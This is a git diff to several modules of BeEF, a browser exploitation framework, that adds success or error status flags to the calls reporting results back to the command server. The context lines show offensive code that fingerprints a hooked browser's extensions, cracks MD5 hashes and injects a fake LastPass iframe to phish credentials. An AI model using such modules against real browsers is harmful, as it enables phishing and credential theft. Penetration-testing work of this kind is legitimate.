diff --git a/modules/browser/detect_extensions/command.js b/modules/browser/detect_extensions/command.js index 39f56c662..4bac4e41b 100644 --- a/modules/browser/detect_extensions/command.js +++ b/modules/browser/detect_extensions/command.js @@ -1087,7 +1087,7 @@ beef.execute(function() { detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error()); } } else if(beef.browser.isFF()) { try { @@ -1095,13 +1095,13 @@ beef.execute(function() { detect_firefox_extension(firefox_extensions[i], i); } } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error()); } } else if(beef.browser.isIE()) { try { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error()); } catch(e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error()); } } diff --git a/modules/browser/hooked_domain/alert_dialog/command.js b/modules/browser/hooked_domain/alert_dialog/command.js index 4f6274347..163f4c703 100644 --- a/modules/browser/hooked_domain/alert_dialog/command.js +++ b/modules/browser/hooked_domain/alert_dialog/command.js @@ -6,5 +6,5 @@ beef.execute(function() { alert("<%= @text %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success()); }); diff --git a/modules/browser/hooked_domain/clear_console/command.js b/modules/browser/hooked_domain/clear_console/command.js index 8d5265979..1fff666ad 100644 --- a/modules/browser/hooked_domain/clear_console/command.js +++ b/modules/browser/hooked_domain/clear_console/command.js @@ -8,8 +8,8 @@ beef.execute(function() { try { beef.debug("Clearing console..."); console.clear(); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success()); } catch(e) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error()); } }); diff --git a/modules/misc/bozocrack/command.js b/modules/misc/bozocrack/command.js index f59c13e8e..73fd5f6a1 100644 --- a/modules/misc/bozocrack/command.js +++ b/modules/misc/bozocrack/command.js @@ -13,7 +13,7 @@ beef.execute(function() { var re = /^[0-9a-f]{32}$/i; var valid_hash = re.exec(hash); if (!valid_hash) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid MD5 hash'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid MD5 hash', beef.are.status_error()); return; } @@ -37,7 +37,7 @@ beef.execute(function() { } } if (!result) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&fail=no results"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&fail=no results", beef.are.status_error()); } else { beef.net.send('<%= @command_url %>', <%= @command_id %>, "hash="+hash+"&result="+result); } diff --git a/modules/social_engineering/fake_lastpass/command.js b/modules/social_engineering/fake_lastpass/command.js index 2e81ec3a6..f028d76ee 100755 --- a/modules/social_engineering/fake_lastpass/command.js +++ b/modules/social_engineering/fake_lastpass/command.js @@ -25,7 +25,7 @@ beef.execute(function() { beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); } // $j('body').append("");